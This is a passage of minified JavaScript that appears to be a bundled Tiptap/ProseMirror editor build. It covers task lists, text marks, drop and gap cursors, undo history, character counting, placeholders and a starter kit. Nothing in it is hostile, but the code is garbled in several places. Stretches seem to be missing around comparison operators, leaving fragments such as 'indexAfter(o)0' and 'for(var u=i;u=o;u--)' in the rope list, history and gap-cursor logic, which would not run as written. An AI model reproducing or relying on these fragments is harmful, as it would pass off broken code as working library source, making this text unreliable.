e===""||e==="true"},renderHTML:t=>({"data-checked":t.checked})}}},parseHTML(){return[{tag:`li[data-type="${this.name}"]`,priority:51}]},renderHTML({node:t,HTMLAttributes:e}){return["li",St(this.options.HTMLAttributes,e,{"data-type":this.name}),["label",["input",{type:"checkbox",checked:t.attrs.checked?"checked":null}],["span"]],["div",0]]},parseMarkdown:(t,e)=>{const n=[];if(t.tokens&&t.tokens.length>0?n.push(e.createNode("paragraph",{},e.parseInline(t.tokens))):t.text?n.push(e.createNode("paragraph",{},[e.createNode("text",{text:t.text})])):n.push(e.createNode("paragraph",{},[])),t.nestedTokens&&t.nestedTokens.length>0){const r=e.parseChildren(t.nestedTokens);n.push(...r)}return e.createNode("taskItem",{checked:t.checked||!1},n)},renderMarkdown:(t,e)=>{var n;const a=`- [${(n=t.attrs)!=null&&n.checked?"x":" "}] `;return O0(t,e,a)},addKeyboardShortcuts(){const t={Enter:()=>this.editor.commands.splitListItem(this.name),"Shift-Tab":()=>this.editor.commands.liftListItem(this.name)};return this.options.nested?{...t,Tab:()=>this.editor.commands.sinkListItem(this.name)}:t},addNodeView(){return({node:t,HTMLAttributes:e,getPos:n,editor:r})=>{const a=document.createElement("li"),i=document.createElement("label"),o=document.createElement("span"),c=document.createElement("input"),u=document.createElement("div"),h=m=>{var g,y;c.ariaLabel=((y=(g=this.options.a11y)==null?void 0:g.checkboxLabel)==null?void 0:y.call(g,m,c.checked))||`Task item checkbox for ${m.textContent||"empty task item"}`};h(t),i.contentEditable="false",c.type="checkbox",c.addEventListener("mousedown",m=>m.preventDefault()),c.addEventListener("change",m=>{if(!r.isEditable&&!this.options.onReadOnlyChecked){c.checked=!c.checked;return}const{checked:g}=m.target;r.isEditable&&typeof n=="function"&&r.chain().focus(void 0,{scrollIntoView:!1}).command(({tr:y})=>{const N=n();if(typeof N!="number")return!1;const w=y.doc.nodeAt(N);return y.setNodeMarkup(N,void 0,{...w==null?void 0:w.attrs,checked:g}),!0}).run(),!r.isEditable&&this.options.onReadOnlyChecked&&(this.options.onReadOnlyChecked(t,g)||(c.checked=!c.checked))}),Object.entries(this.options.HTMLAttributes).forEach(([m,g])=>{a.setAttribute(m,g)}),a.dataset.checked=t.attrs.checked,c.checked=t.attrs.checked,i.append(c,o),a.append(i,u),Object.entries(e).forEach(([m,g])=>{a.setAttribute(m,g)});let f=new Set(Object.keys(e));return{dom:a,contentDOM:u,update:m=>{if(m.type!==this.type)return!1;a.dataset.checked=m.attrs.checked,c.checked=m.attrs.checked,h(m);const g=r.extensionManager.attributes,y=cd(m,g),N=new Set(Object.keys(y)),w=this.options.HTMLAttributes;return f.forEach(v=>{N.has(v)||(v in w?a.setAttribute(v,w[v]):a.removeAttribute(v))}),Object.entries(y).forEach(([v,k])=>{k==null?v in w?a.setAttribute(v,w[v]):a.removeAttribute(v):a.setAttribute(v,k)}),f=N,!0}}}},addInputRules(){return[Al({find:J7,type:this.type,getAttributes:t=>({checked:t[t.length-1]==="x"})})]}}),Q7=Cn.create({name:"taskList",addOptions(){return{itemTypeName:"taskItem",HTMLAttributes:{}}},group:"block list",content(){return`${this.options.itemTypeName}+`},parseHTML(){return[{tag:`ul[data-type="${this.name}"]`,priority:51}]},renderHTML({HTMLAttributes:t}){return["ul",St(this.options.HTMLAttributes,t,{"data-type":this.name}),0]},parseMarkdown:(t,e)=>e.createNode("taskList",{},e.parseChildren(t.items||[])),renderMarkdown:(t,e)=>t.content?e.renderChildren(t.content,` -`):"",markdownTokenizer:{name:"taskList",level:"block",start(t){var e;const n=(e=t.match(/^\s*[-+*]\s+\[([ xX])\]\s+/))==null?void 0:e.index;return n!==void 0?n:-1},tokenize(t,e,n){const r=i=>{const o=cx(i,{itemPattern:/^(\s*)([-+*])\s+\[([ xX])\]\s+(.*)$/,extractItemData:c=>({indentLevel:c[1].length,mainContent:c[4],checked:c[3].toLowerCase()==="x"}),createToken:(c,u)=>({type:"taskItem",raw:"",mainContent:c.mainContent,indentLevel:c.indentLevel,checked:c.checked,text:c.mainContent,tokens:n.inlineTokens(c.mainContent),nestedTokens:u}),customNestedParser:r},n);return o?[{type:"taskList",raw:o.raw,items:o.items}]:n.blockTokens(i)},a=cx(t,{itemPattern:/^(\s*)([-+*])\s+\[([ xX])\]\s+(.*)$/,extractItemData:i=>({indentLevel:i[1].length,mainContent:i[4],checked:i[3].toLowerCase()==="x"}),createToken:(i,o)=>({type:"taskItem",raw:"",mainContent:i.mainContent,indentLevel:i.indentLevel,checked:i.checked,text:i.mainContent,tokens:n.inlineTokens(i.mainContent),nestedTokens:o}),customNestedParser:r},n);if(a)return{type:"taskList",raw:a.raw,items:a.items}}},markdownOptions:{indentsContent:!0},addCommands(){return{toggleTaskList:()=>({commands:t})=>t.toggleList(this.name,this.options.itemTypeName)}},addKeyboardShortcuts(){return{"Mod-Shift-9":()=>this.editor.commands.toggleTaskList()}}});mn.create({name:"listKit",addExtensions(){const t=[];return this.options.bulletList!==!1&&t.push(uC.configure(this.options.bulletList)),this.options.listItem!==!1&&t.push(hC.configure(this.options.listItem)),this.options.listKeymap!==!1&&t.push(yC.configure(this.options.listKeymap)),this.options.orderedList!==!1&&t.push(vC.configure(this.options.orderedList)),this.options.taskItem!==!1&&t.push(Y7.configure(this.options.taskItem)),this.options.taskList!==!1&&t.push(Q7.configure(this.options.taskList)),t}});var FN=" ",X7=" ",Z7=Cn.create({name:"paragraph",priority:1e3,addOptions(){return{HTMLAttributes:{}}},group:"block",content:"inline*",parseHTML(){return[{tag:"p"}]},renderHTML({HTMLAttributes:t}){return["p",St(this.options.HTMLAttributes,t),0]},parseMarkdown:(t,e)=>{const n=t.tokens||[];if(n.length===1&&n[0].type==="image")return e.parseChildren([n[0]]);const r=e.parseInline(n);return r.length===1&&r[0].type==="text"&&(r[0].text===FN||r[0].text===X7)?e.createNode("paragraph",void 0,[]):e.createNode("paragraph",void 0,r)},renderMarkdown:(t,e)=>{if(!t)return"";const n=Array.isArray(t.content)?t.content:[];return n.length===0?FN:e.renderChildren(n)},addCommands(){return{setParagraph:()=>({commands:t})=>t.setNode(this.name)}},addKeyboardShortcuts(){return{"Mod-Alt-0":()=>this.editor.commands.setParagraph()}}}),ez=/(?:^|\s)(~~(?!\s+~~)((?:[^~]+))~~(?!\s+~~))$/,tz=/(?:^|\s)(~~(?!\s+~~)((?:[^~]+))~~(?!\s+~~))/g,nz=Ao.create({name:"strike",addOptions(){return{HTMLAttributes:{}}},parseHTML(){return[{tag:"s"},{tag:"del"},{tag:"strike"},{style:"text-decoration",consuming:!1,getAttrs:t=>t.includes("line-through")?{}:!1}]},renderHTML({HTMLAttributes:t}){return["s",St(this.options.HTMLAttributes,t),0]},markdownTokenName:"del",parseMarkdown:(t,e)=>e.applyMark("strike",e.parseInline(t.tokens||[])),renderMarkdown:(t,e)=>`~~${e.renderChildren(t)}~~`,addCommands(){return{setStrike:()=>({commands:t})=>t.setMark(this.name),toggleStrike:()=>({commands:t})=>t.toggleMark(this.name),unsetStrike:()=>({commands:t})=>t.unsetMark(this.name)}},addKeyboardShortcuts(){return{"Mod-Shift-s":()=>this.editor.commands.toggleStrike()}},addInputRules(){return[Ml({find:ez,type:this.type})]},addPasteRules(){return[jo({find:tz,type:this.type})]}}),rz=Cn.create({name:"text",group:"inline",parseMarkdown:t=>({type:"text",text:t.text||""}),renderMarkdown:t=>t.text||""}),sz=Ao.create({name:"underline",addOptions(){return{HTMLAttributes:{}}},parseHTML(){return[{tag:"u"},{style:"text-decoration",consuming:!1,getAttrs:t=>t.includes("underline")?{}:!1}]},renderHTML({HTMLAttributes:t}){return["u",St(this.options.HTMLAttributes,t),0]},parseMarkdown(t,e){return e.applyMark(this.name||"underline",e.parseInline(t.tokens||[]))},renderMarkdown(t,e){return`++${e.renderChildren(t)}++`},markdownTokenizer:{name:"underline",level:"inline",start(t){return t.indexOf("++")},tokenize(t,e,n){const a=/^(\+\+)([\s\S]+?)(\+\+)/.exec(t);if(!a)return;const i=a[2].trim();return{type:"underline",raw:a[0],text:i,tokens:n.inlineTokens(i)}}},addCommands(){return{setUnderline:()=>({commands:t})=>t.setMark(this.name),toggleUnderline:()=>({commands:t})=>t.toggleMark(this.name),unsetUnderline:()=>({commands:t})=>t.unsetMark(this.name)}},addKeyboardShortcuts(){return{"Mod-u":()=>this.editor.commands.toggleUnderline(),"Mod-U":()=>this.editor.commands.toggleUnderline()}}});function az(t={}){return new Kt({view(e){return new iz(e,t)}})}class iz{constructor(e,n){var r;this.editorView=e,this.cursorPos=null,this.element=null,this.timeout=-1,this.width=(r=n.width)!==null&&r!==void 0?r:1,this.color=n.color===!1?void 0:n.color||"black",this.class=n.class,this.handlers=["dragover","dragend","drop","dragleave"].map(a=>{let i=o=>{this[a](o)};return e.dom.addEventListener(a,i),{name:a,handler:i}})}destroy(){this.handlers.forEach(({name:e,handler:n})=>this.editorView.dom.removeEventListener(e,n))}update(e,n){this.cursorPos!=null&&n.doc!=e.state.doc&&(this.cursorPos>e.state.doc.content.size?this.setCursor(null):this.updateOverlay())}setCursor(e){e!=this.cursorPos&&(this.cursorPos=e,e==null?(this.element.parentNode.removeChild(this.element),this.element=null):this.updateOverlay())}updateOverlay(){let e=this.editorView.state.doc.resolve(this.cursorPos),n=!e.parent.inlineContent,r,a=this.editorView.dom,i=a.getBoundingClientRect(),o=i.width/a.offsetWidth,c=i.height/a.offsetHeight;if(n){let m=e.nodeBefore,g=e.nodeAfter;if(m||g){let y=this.editorView.nodeDOM(this.cursorPos-(m?m.nodeSize:0));if(y){let N=y.getBoundingClientRect(),w=m?N.bottom:N.top;m&&g&&(w=(w+this.editorView.nodeDOM(this.cursorPos).getBoundingClientRect().top)/2);let v=this.width/2*c;r={left:N.left,right:N.right,top:w-v,bottom:w+v}}}}if(!r){let m=this.editorView.coordsAtPos(this.cursorPos),g=this.width/2*o;r={left:m.left-g,right:m.left+g,top:m.top,bottom:m.bottom}}let u=this.editorView.dom.offsetParent;this.element||(this.element=u.appendChild(document.createElement("div")),this.class&&(this.element.className=this.class),this.element.style.cssText="position: absolute; z-index: 50; pointer-events: none;",this.color&&(this.element.style.backgroundColor=this.color)),this.element.classList.toggle("prosemirror-dropcursor-block",n),this.element.classList.toggle("prosemirror-dropcursor-inline",!n);let h,f;if(!u||u==document.body&&getComputedStyle(u).position=="static")h=-pageXOffset,f=-pageYOffset;else{let m=u.getBoundingClientRect(),g=m.width/u.offsetWidth,y=m.height/u.offsetHeight;h=m.left-u.scrollLeft*g,f=m.top-u.scrollTop*y}this.element.style.left=(r.left-h)/o+"px",this.element.style.top=(r.top-f)/c+"px",this.element.style.width=(r.right-r.left)/o+"px",this.element.style.height=(r.bottom-r.top)/c+"px"}scheduleRemoval(e){clearTimeout(this.timeout),this.timeout=setTimeout(()=>this.setCursor(null),e)}dragover(e){if(!this.editorView.editable)return;let n=this.editorView.posAtCoords({left:e.clientX,top:e.clientY}),r=n&&n.inside>=0&&this.editorView.state.doc.nodeAt(n.inside),a=r&&r.type.spec.disableDropCursor,i=typeof a=="function"?a(this.editorView,n,e):a;if(n&&!i){let o=n.pos;if(this.editorView.dragging&&this.editorView.dragging.slice){let c=fS(this.editorView.state.doc,o,this.editorView.dragging.slice);c!=null&&(o=c)}this.setCursor(o),this.scheduleRemoval(5e3)}}dragend(){this.scheduleRemoval(20)}drop(){this.scheduleRemoval(20)}dragleave(e){this.editorView.dom.contains(e.relatedTarget)||this.setCursor(null)}}class fn extends rt{constructor(e){super(e,e)}map(e,n){let r=e.resolve(n.map(this.head));return fn.valid(r)?new fn(r):rt.near(r)}content(){return Ie.empty}eq(e){return e instanceof fn&&e.head==this.head}toJSON(){return{type:"gapcursor",pos:this.head}}static fromJSON(e,n){if(typeof n.pos!="number")throw new RangeError("Invalid input for GapCursor.fromJSON");return new fn(e.resolve(n.pos))}getBookmark(){return new K0(this.anchor)}static valid(e){let n=e.parent;if(n.isTextblock||!oz(e)||!lz(e))return!1;let r=n.type.spec.allowGapCursor;if(r!=null)return r;let a=n.contentMatchAt(e.index()).defaultType;return a&&a.isTextblock}static findGapCursorFrom(e,n,r=!1){e:for(;;){if(!r&&fn.valid(e))return e;let a=e.pos,i=null;for(let o=e.depth;;o--){let c=e.node(o);if(n>0?e.indexAfter(o)0){i=c.child(n>0?e.indexAfter(o):e.index(o)-1);break}else if(o==0)return null;a+=n;let u=e.doc.resolve(a);if(fn.valid(u))return u}for(;;){let o=n>0?i.firstChild:i.lastChild;if(!o){if(i.isAtom&&!i.isText&&!Xe.isSelectable(i)){e=e.doc.resolve(a+i.nodeSize*n),r=!1;continue e}break}i=o,a+=n;let c=e.doc.resolve(a);if(fn.valid(c))return c}return null}}}fn.prototype.visible=!1;fn.findFrom=fn.findGapCursorFrom;rt.jsonID("gapcursor",fn);class K0{constructor(e){this.pos=e}map(e){return new K0(e.map(this.pos))}resolve(e){let n=e.resolve(this.pos);return fn.valid(n)?new fn(n):rt.near(n)}}function NC(t){return t.isAtom||t.spec.isolating||t.spec.createGapCursor}function oz(t){for(let e=t.depth;e>=0;e--){let n=t.index(e),r=t.node(e);if(n==0){if(r.type.spec.isolating)return!0;continue}for(let a=r.child(n-1);;a=a.lastChild){if(a.childCount==0&&!a.inlineContent||NC(a.type))return!0;if(a.inlineContent)return!1}}return!0}function lz(t){for(let e=t.depth;e>=0;e--){let n=t.indexAfter(e),r=t.node(e);if(n==r.childCount){if(r.type.spec.isolating)return!0;continue}for(let a=r.child(n);;a=a.firstChild){if(a.childCount==0&&!a.inlineContent||NC(a.type))return!0;if(a.inlineContent)return!1}}return!0}function cz(){return new Kt({props:{decorations:fz,createSelectionBetween(t,e,n){return e.pos==n.pos&&fn.valid(n)?new fn(n):null},handleClick:uz,handleKeyDown:dz,handleDOMEvents:{beforeinput:hz}}})}const dz=k0({ArrowLeft:Ku("horiz",-1),ArrowRight:Ku("horiz",1),ArrowUp:Ku("vert",-1),ArrowDown:Ku("vert",1)});function Ku(t,e){const n=t=="vert"?e>0?"down":"up":e>0?"right":"left";return function(r,a,i){let o=r.selection,c=e>0?o.$to:o.$from,u=o.empty;if(o instanceof Ze){if(!i.endOfTextblock(n)||c.depth==0)return!1;u=!1,c=r.doc.resolve(e>0?c.after():c.before())}let h=fn.findGapCursorFrom(c,e,u);return h?(a&&a(r.tr.setSelection(new fn(h))),!0):!1}}function uz(t,e,n){if(!t||!t.editable)return!1;let r=t.state.doc.resolve(e);if(!fn.valid(r))return!1;let a=t.posAtCoords({left:n.clientX,top:n.clientY});return a&&a.inside>-1&&Xe.isSelectable(t.state.doc.nodeAt(a.inside))?!1:(t.dispatch(t.state.tr.setSelection(new fn(r))),!0)}function hz(t,e){if(e.inputType!="insertCompositionText"||!(t.state.selection instanceof fn))return!1;let{$from:n}=t.state.selection,r=n.parent.contentMatchAt(n.index()).findWrapping(t.state.schema.nodes.text);if(!r)return!1;let a=be.empty;for(let o=r.length-1;o>=0;o--)a=be.from(r[o].createAndFill(null,a));let i=t.state.tr.replace(n.pos,n.pos,new Ie(a,0,0));return i.setSelection(Ze.near(i.doc.resolve(n.pos+1))),t.dispatch(i),!1}function fz(t){if(!(t.selection instanceof fn))return null;let e=document.createElement("div");return e.className="ProseMirror-gapcursor",$t.create(t.doc,[An.widget(t.selection.head,e,{key:"gapcursor"})])}var sf=200,Vn=function(){};Vn.prototype.append=function(e){return e.length?(e=Vn.from(e),!this.length&&e||e.length=n?Vn.empty:this.sliceInner(Math.max(0,e),Math.min(this.length,n))};Vn.prototype.get=function(e){if(!(e<0||e>=this.length))return this.getInner(e)};Vn.prototype.forEach=function(e,n,r){n===void 0&&(n=0),r===void 0&&(r=this.length),n<=r?this.forEachInner(e,n,r,0):this.forEachInvertedInner(e,n,r,0)};Vn.prototype.map=function(e,n,r){n===void 0&&(n=0),r===void 0&&(r=this.length);var a=[];return this.forEach(function(i,o){return a.push(e(i,o))},n,r),a};Vn.from=function(e){return e instanceof Vn?e:e&&e.length?new wC(e):Vn.empty};var wC=(function(t){function e(r){t.call(this),this.values=r}t&&(e.__proto__=t),e.prototype=Object.create(t&&t.prototype),e.prototype.constructor=e;var n={length:{configurable:!0},depth:{configurable:!0}};return e.prototype.flatten=function(){return this.values},e.prototype.sliceInner=function(a,i){return a==0&&i==this.length?this:new e(this.values.slice(a,i))},e.prototype.getInner=function(a){return this.values[a]},e.prototype.forEachInner=function(a,i,o,c){for(var u=i;u=o;u--)if(a(this.values[u],c+u)===!1)return!1},e.prototype.leafAppend=function(a){if(this.length+a.length<=sf)return new e(this.values.concat(a.flatten()))},e.prototype.leafPrepend=function(a){if(this.length+a.length<=sf)return new e(a.flatten().concat(this.values))},n.length.get=function(){return this.values.length},n.depth.get=function(){return 0},Object.defineProperties(e.prototype,n),e})(Vn);Vn.empty=new wC([]);var pz=(function(t){function e(n,r){t.call(this),this.left=n,this.right=r,this.length=n.length+r.length,this.depth=Math.max(n.depth,r.depth)+1}return t&&(e.__proto__=t),e.prototype=Object.create(t&&t.prototype),e.prototype.constructor=e,e.prototype.flatten=function(){return this.left.flatten().concat(this.right.flatten())},e.prototype.getInner=function(r){return rc&&this.right.forEachInner(r,Math.max(a-c,0),Math.min(this.length,i)-c,o+c)===!1)return!1},e.prototype.forEachInvertedInner=function(r,a,i,o){var c=this.left.length;if(a>c&&this.right.forEachInvertedInner(r,a-c,Math.max(i,c)-c,o+c)===!1||i=i?this.right.slice(r-i,a-i):this.left.slice(r,i).append(this.right.slice(0,a-i))},e.prototype.leafAppend=function(r){var a=this.right.leafAppend(r);if(a)return new e(this.left,a)},e.prototype.leafPrepend=function(r){var a=this.left.leafPrepend(r);if(a)return new e(a,this.right)},e.prototype.appendInner=function(r){return this.left.depth>=Math.max(this.right.depth,r.depth)+1?new e(this.left,new e(this.right,r)):new e(this,r)},e})(Vn);const mz=500;class js{constructor(e,n){this.items=e,this.eventCount=n}popEvent(e,n){if(this.eventCount==0)return null;let r=this.items.length;for(;;r--)if(this.items.get(r-1).selection){--r;break}let a,i;n&&(a=this.remapping(r,this.items.length),i=a.maps.length);let o=e.tr,c,u,h=[],f=[];return this.items.forEach((m,g)=>{if(!m.step){a||(a=this.remapping(r,g+1),i=a.maps.length),i--,f.push(m);return}if(a){f.push(new Xa(m.map));let y=m.step.map(a.slice(i)),N;y&&o.maybeStep(y).doc&&(N=o.mapping.maps[o.mapping.maps.length-1],h.push(new Xa(N,void 0,void 0,h.length+f.length))),i--,N&&a.appendMap(N,i)}else o.maybeStep(m.step);if(m.selection)return c=a?m.selection.map(a.slice(i)):m.selection,u=new js(this.items.slice(0,r).append(f.reverse().concat(h)),this.eventCount-1),!1},this.items.length,0),{remaining:u,transform:o,selection:c}}addTransform(e,n,r,a){let i=[],o=this.eventCount,c=this.items,u=!a&&c.length?c.get(c.length-1):null;for(let f=0;fxz&&(c=gz(c,h),o-=h),new js(c.append(i),o)}remapping(e,n){let r=new rd;return this.items.forEach((a,i)=>{let o=a.mirrorOffset!=null&&i-a.mirrorOffset>=e?r.maps.length-a.mirrorOffset:void 0;r.appendMap(a.map,o)},e,n),r}addMaps(e){return this.eventCount==0?this:new js(this.items.append(e.map(n=>new Xa(n))),this.eventCount)}rebased(e,n){if(!this.eventCount)return this;let r=[],a=Math.max(0,this.items.length-n),i=e.mapping,o=e.steps.length,c=this.eventCount;this.items.forEach(g=>{g.selection&&c--},a);let u=n;this.items.forEach(g=>{let y=i.getMirror(--u);if(y==null)return;o=Math.min(o,y);let N=i.maps[y];if(g.step){let w=e.steps[y].invert(e.docs[y]),v=g.selection&&g.selection.map(i.slice(u+1,y));v&&c++,r.push(new Xa(N,w,v))}else r.push(new Xa(N))},a);let h=[];for(let g=n;gmz&&(m=m.compress(this.items.length-r.length)),m}emptyItemCount(){let e=0;return this.items.forEach(n=>{n.step||e++}),e}compress(e=this.items.length){let n=this.remapping(0,e),r=n.maps.length,a=[],i=0;return this.items.forEach((o,c)=>{if(c>=e)a.push(o),o.selection&&i++;else if(o.step){let u=o.step.map(n.slice(r)),h=u&&u.getMap();if(r--,h&&n.appendMap(h,r),u){let f=o.selection&&o.selection.map(n.slice(r));f&&i++;let m=new Xa(h.invert(),u,f),g,y=a.length-1;(g=a.length&&a[y].merge(m))?a[y]=g:a.push(m)}}else o.map&&r--},this.items.length,0),new js(Vn.from(a.reverse()),i)}}js.empty=new js(Vn.empty,0);function gz(t,e){let n;return t.forEach((r,a)=>{if(r.selection&&e--==0)return n=a,!1}),t.slice(n)}let Xa=class jC{constructor(e,n,r,a){this.map=e,this.step=n,this.selection=r,this.mirrorOffset=a}merge(e){if(this.step&&e.step&&!e.selection){let n=e.step.merge(this.step);if(n)return new jC(n.getMap().invert(),n,this.selection)}}};class ri{constructor(e,n,r,a,i){this.done=e,this.undone=n,this.prevRanges=r,this.prevTime=a,this.prevComposition=i}}const xz=20;function yz(t,e,n,r){let a=n.getMeta(mo),i;if(a)return a.historyState;n.getMeta(Nz)&&(t=new ri(t.done,t.undone,null,0,-1));let o=n.getMeta("appendedTransaction");if(n.steps.length==0)return t;if(o&&o.getMeta(mo))return o.getMeta(mo).redo?new ri(t.done.addTransform(n,void 0,r,sh(e)),t.undone,BN(n.mapping.maps),t.prevTime,t.prevComposition):new ri(t.done,t.undone.addTransform(n,void 0,r,sh(e)),null,t.prevTime,t.prevComposition);if(n.getMeta("addToHistory")!==!1&&!(o&&o.getMeta("addToHistory")===!1)){let c=n.getMeta("composition"),u=t.prevTime==0||!o&&t.prevComposition!=c&&(t.prevTime<(n.time||0)-r.newGroupDelay||!bz(n,t.prevRanges)),h=o?gg(t.prevRanges,n.mapping):BN(n.mapping.maps);return new ri(t.done.addTransform(n,u?e.selection.getBookmark():void 0,r,sh(e)),js.empty,h,n.time,c??t.prevComposition)}else return(i=n.getMeta("rebased"))?new ri(t.done.rebased(n,i),t.undone.rebased(n,i),gg(t.prevRanges,n.mapping),t.prevTime,t.prevComposition):new ri(t.done.addMaps(n.mapping.maps),t.undone.addMaps(n.mapping.maps),gg(t.prevRanges,n.mapping),t.prevTime,t.prevComposition)}function bz(t,e){if(!e)return!1;if(!t.docChanged)return!0;let n=!1;return t.mapping.maps[0].forEach((r,a)=>{for(let i=0;i=e[i]&&(n=!0)}),n}function BN(t){let e=[];for(let n=t.length-1;n>=0&&e.length==0;n--)t[n].forEach((r,a,i,o)=>e.push(i,o));return e}function gg(t,e){if(!t)return null;let n=[];for(let r=0;r{let a=mo.getState(n);if(!a||(t?a.undone:a.done).eventCount==0)return!1;if(r){let i=vz(a,n,t);i&&r(e?i.scrollIntoView():i)}return!0}}const SC=kC(!1,!0),CC=kC(!0,!0);mn.create({name:"characterCount",addOptions(){return{limit:null,mode:"textSize",textCounter:t=>t.length,wordCounter:t=>t.split(" ").filter(e=>e!=="").length}},addStorage(){return{characters:()=>0,words:()=>0}},onBeforeCreate(){this.storage.characters=t=>{const e=(t==null?void 0:t.node)||this.editor.state.doc;if(((t==null?void 0:t.mode)||this.options.mode)==="textSize"){const r=e.textBetween(0,e.content.size,void 0," ");return this.options.textCounter(r)}return e.nodeSize},this.storage.words=t=>{const e=(t==null?void 0:t.node)||this.editor.state.doc,n=e.textBetween(0,e.content.size," "," ");return this.options.wordCounter(n)}},addProseMirrorPlugins(){let t=!1;return[new Kt({key:new tn("characterCount"),appendTransaction:(e,n,r)=>{if(t)return;const a=this.options.limit;if(a==null||a===0){t=!0;return}const i=this.storage.characters({node:r.doc});if(i>a){const o=i-a,c=0,u=o;console.warn(`[CharacterCount] Initial content exceeded limit of ${a} characters. Content was automatically trimmed.`);const h=r.tr.deleteRange(c,u);return t=!0,h}t=!0},filterTransaction:(e,n)=>{const r=this.options.limit;if(!e.docChanged||r===0||r===null||r===void 0)return!0;const a=this.storage.characters({node:n.doc}),i=this.storage.characters({node:e.doc});if(i<=r||a>r&&i>r&&i<=a)return!0;if(a>r&&i>r&&i>a||!e.getMeta("paste"))return!1;const c=e.selection.$head.pos,u=i-r,h=c-u,f=c;return e.deleteRange(h,f),!(this.storage.characters({node:e.doc})>r)}})]}});var jz=mn.create({name:"dropCursor",addOptions(){return{color:"currentColor",width:1,class:void 0}},addProseMirrorPlugins(){return[az(this.options)]}});mn.create({name:"focus",addOptions(){return{className:"has-focus",mode:"all"}},addProseMirrorPlugins(){return[new Kt({key:new tn("focus"),props:{decorations:({doc:t,selection:e})=>{const{isEditable:n,isFocused:r}=this.editor,{anchor:a}=e,i=[];if(!n||!r)return $t.create(t,[]);let o=0;this.options.mode==="deepest"&&t.descendants((u,h)=>{if(u.isText)return;if(!(a>=h&&a<=h+u.nodeSize-1))return!1;o+=1});let c=0;return t.descendants((u,h)=>{if(u.isText||!(a>=h&&a<=h+u.nodeSize-1))return!1;if(c+=1,this.options.mode==="deepest"&&o-c>0||this.options.mode==="shallowest"&&c>1)return this.options.mode==="deepest";i.push(An.node(h,h+u.nodeSize,{class:this.options.className}))}),$t.create(t,i)}}})]}});var kz=mn.create({name:"gapCursor",addProseMirrorPlugins(){return[cz()]},extendNodeSchema(t){var e;const n={name:t.name,options:t.options,storage:t.storage};return{allowGapCursor:(e=jt(Ue(t,"allowGapCursor",n)))!=null?e:null}}}),HN="placeholder";function Sz(t){return t.replace(/\s+/g,"-").replace(/[^a-zA-Z0-9-]/g,"").replace(/^[0-9-]+/,"").replace(/^-+/,"").toLowerCase()}var Cz=mn.create({name:"placeholder",addOptions(){return{emptyEditorClass:"is-editor-empty",emptyNodeClass:"is-empty",dataAttribute:HN,placeholder:"Write something …",showOnlyWhenEditable:!0,showOnlyCurrent:!0,includeChildren:!1}},addProseMirrorPlugins(){const t=this.options.dataAttribute?`data-${Sz(this.options.dataAttribute)}`:`data-${HN}`;return[new Kt({key:new tn("placeholder"),props:{decorations:({doc:e,selection:n})=>{const r=this.editor.isEditable||!this.options.showOnlyWhenEditable,{anchor:a}=n,i=[];if(!r)return null;const o=this.editor.isEmpty;return e.descendants((c,u)=>{const h=a>=u&&a<=u+c.nodeSize,f=!c.isLeaf&&Of(c);if((h||!this.options.showOnlyCurrent)&&f){const m=[this.options.emptyNodeClass];o&&m.push(this.options.emptyEditorClass);const g=An.node(u,u+c.nodeSize,{class:m.join(" "),[t]:typeof this.options.placeholder=="function"?this.options.placeholder({editor:this.editor,node:c,pos:u,hasAnchor:h}):this.options.placeholder});i.push(g)}return this.options.includeChildren}),$t.create(e,i)}}})]}});mn.create({name:"selection",addOptions(){return{className:"selection"}},addProseMirrorPlugins(){const{editor:t,options:e}=this;return[new Kt({key:new tn("selection"),props:{decorations(n){return n.selection.empty||t.isFocused||!t.isEditable||A2(n.selection)||t.view.dragging?null:$t.create(n.doc,[An.inline(n.selection.from,n.selection.to,{class:e.className})])}}})]}});function WN({types:t,node:e}){return e&&Array.isArray(t)&&t.includes(e.type)||(e==null?void 0:e.type)===t}var Ez=mn.create({name:"trailingNode",addOptions(){return{node:void 0,notAfter:[]}},addProseMirrorPlugins(){var t;const e=new tn(this.name),n=this.options.node||((t=this.editor.schema.topNodeType.contentMatch.defaultType)==null?void 0:t.name)||"paragraph",r=Object.entries(this.editor.schema.nodes).map(([,a])=>a).filter(a=>(this.options.notAfter||[]).concat(n).includes(a.name));return[new Kt({key:e,appendTransaction:(a,i,o)=>{const{doc:c,tr:u,schema:h}=o,f=e.getState(o),m=c.content.size,g=h.nodes[n];if(f)return u.insert(m,g.create())},state:{init:(a,i)=>{const o=i.tr.doc.lastChild;return!WN({node:o,types:r})},apply:(a,i)=>{if(!a.docChanged||a.getMeta("__uniqueIDTransaction"))return i;const o=a.doc.lastChild;return!WN({node:o,types:r})}}})]}}),Tz=mn.create({name:"undoRedo",addOptions(){return{depth:100,newGroupDelay:500}},addCommands(){return{undo:()=>({state:t,dispatch:e})=>SC(t,e),redo:()=>({state:t,dispatch:e})=>CC(t,e)}},addProseMirrorPlugins(){return[wz(this.options)]},addKeyboardShortcuts(){return{"Mod-z":()=>this.editor.commands.undo(),"Shift-Mod-z":()=>this.editor.commands.redo(),"Mod-y":()=>this.editor.commands.redo(),"Mod-я":()=>this.editor.commands.undo(),"Shift-Mod-я":()=>this.editor.commands.redo()}}}),Mz=mn.create({name:"starterKit",addExtensions(){var t,e,n,r;const a=[];return this.options.bold!==!1&&a.push(Z_.configure(this.options.bold)),this.options.blockquote!==!1&&a.push(G_.configure(this.options.blockquote)),this.options.bulletList!==!1&&a.push(uC.configure(this.options.bulletList)),this.options.code!==!1&&a.push(n7.configure(this.options.code)),this.options.codeBlock!==!1&&a.push(a7.configure(this.options.codeBlock)),this.options.document!==!1&&a.push(i7.configure(this.options.document)),this.options.dropcursor!==!1&&a.push(jz.configure(this.options.dropcursor)),this.options.gapcursor!==!1&&a.push(kz.configure(this.options.gapcursor)),this.options.hardBreak!==!1&&a.push(o7.configure(this.options.hardBreak)),this.options.heading!==!1&&a.push(l7.configure(this.options.heading)),this.options.undoRedo!==!1&&a.push(Tz.configure(this.options.undoRedo)),this.options.horizontalRule!==!1&&a.push(c7.configure(this.options.horizontalRule)),this.options.italic!==!1&&a.push(p7.configure(this.options.italic)),this.options.listItem!==!1&&a.push(hC.configure(this.options.listItem)),this.options.listKeymap!==!1&&a.push(yC.configure((t=this.options)==null?void 0:t.listKeymap)),this.options.link!==!1&&a.push($7.configure((e=this.options)==null?void 0:e.link)),this.options.orderedList!==!1&&a.push(vC.configure(this.options.orderedList)),this.options.paragraph!==!1&&a.push(Z7.configure(this.options.paragraph)),this.options.strike!==!1&&a.push(nz.configure(this.options.strike)),this.options.text!==!1&&a.push(rz.configure(this.options.text)),this.options.underline!==!1&&a.push(sz.configure((n=this.options)==null?void 0:n.underline)),this.options.trailingNode!==!1&&a.push(Ez.configure((r=this.options)==null?void 